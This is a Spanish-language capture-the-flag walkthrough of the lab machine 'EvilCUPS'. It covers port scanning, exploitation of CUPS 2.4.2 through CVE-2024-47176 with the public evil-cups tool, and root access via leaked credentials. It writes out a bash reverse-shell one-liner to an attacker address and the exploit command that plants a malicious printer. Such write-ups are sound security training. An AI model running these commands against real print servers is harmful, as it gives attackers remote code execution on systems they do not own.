🛡️ EvilCUPS 🛡️
🔹Reconocimiento de puertos y servicios
🔹Explotación del servicio Cups 2.4.2
🔹CVE-2024-47176
🔹Escalada de privilegios mediante fuga de información.
Fase de Reconocimiento
En primer lugar listaremos los puertos y los servicios activos mediante la herramienta Nmap:
Nmap nos reporta dos puestos abiertos:
🔹Puerto 22: Utilizado principalmente para el servicio SSH .
🔹Puerto 631: Utilizando por el servicio CUPS 2.4.2.
Servicio CUPS 2.4.2
CUPS es un sistema de impresión de código abierto y modular que utiliza Internet Printing Protocol (IPP) como base para la gestión de impresoras, solicitudes de impresión y colas de impresión.
Mediante el navegador podemos ver la terminal gráfica del sistema Cups y si nos dirigimos a la sección Impresoras, veremos la información de las impresoras activas.
Tras buscar información sobre el sistema Cubs 2.4.2, vemos que existen varias vulnerabilidades reportadas. Tras realizar varias pruebas vemos que el sistema es vulnerable a CVE-2024-47176 y CVE-2024-47177.
CVE-2024-47176
CUPS (Common Unix Printing System) es un marco de código abierto para administrar y controlar impresoras en sistemas UNIX y similares. Es una de las bibliotecas más utilizadas para imprimir y es compatible con UNIX, Linux y algunos dispositivos Apple.
Se encontraron varias vulnerabilidades críticas en CUPS que, cuando se encadenan, pueden provocar la ejecución remota de código. Los CVE en cuestión son CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177.
Las vulnerabilidades permiten a un atacante remoto agregar o configurar impresoras de red de tal manera que ejecuten código arbitrario cuando los usuarios intenten imprimir desde ellas.
Tras buscar algún exploit relacionado con esta vulnerabilidad encontramos en Github la herramienta Evil-cups.
Descargamos el repositorio e instalamos lo requisitos mediante el archivo requirements.txt.
git clone https://github.com/ippsec/evil-cups
Una vez descargado el repositorio, crearemos un entorno virtual para poder instalar los requerimientos necesarios.
python3 -m venv ~/venv
source ~/venv/bin/activate
pip install -r requirements.txt
Evilcups
Ahora ya podemos utilizar la herramienta Evilcups, y al ejecutarla, vemos como nos pide tres argumentos:
- LOCAL_HOST: Nuestra dirección local.
- TARGET_HOST: La dirección del servicio Cups.
- COMMAND: El comando que queremos ejecutar.
Vamos a utilizar este exploit para tratar de ejecutar un comando que nos devuelva una shell inversa. Podemos generar un comando personalizado que nos ejecute una reverse shell mediante la pagina revshells.com.
Para asegurarnos que el comando se ejecuta, utilizaremos el comando bash -c para ejecutar el código de la reverse shell. El código que trataremos de ejecutar mediante la herramienta Evilcups será el siguiente:
"bash -c 'bash -i >& /dev/tcp/10.10.14.93/443 0>&1'"
Una vez tenemos nuestro código, ejecutaremos el exploit especificando las direcciones y el código.
python3 evilcups.py 10.10.14.93 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.14.93/443 0>&1'"
Pasados unos 30 segundo Evilcups nos indicará que nuestra Impresora maliciosa ha sido instalada. Podemos confirmarlo mediante el panel de administración de Cups que hemos abierto en el navegador, si nos dirigimos al apartado Impresoras vemos como ahora nos aparece una impresora con el nombre HACKED_10_10_14_93.
Al ejecutar la prueba de impresión vemos como nos reporta la reverse shell y conseguimos acceso como el usuario lp. Si nos dirigimos al directorio /home/htb/ encontraremos la primera flag.
Escalada de privilegios
Al revisar el documento vemos como aparecen una credenciales.
Mediante las credenciales encontradas podremos acceder como Root y ver la flag situada en el directorio /root.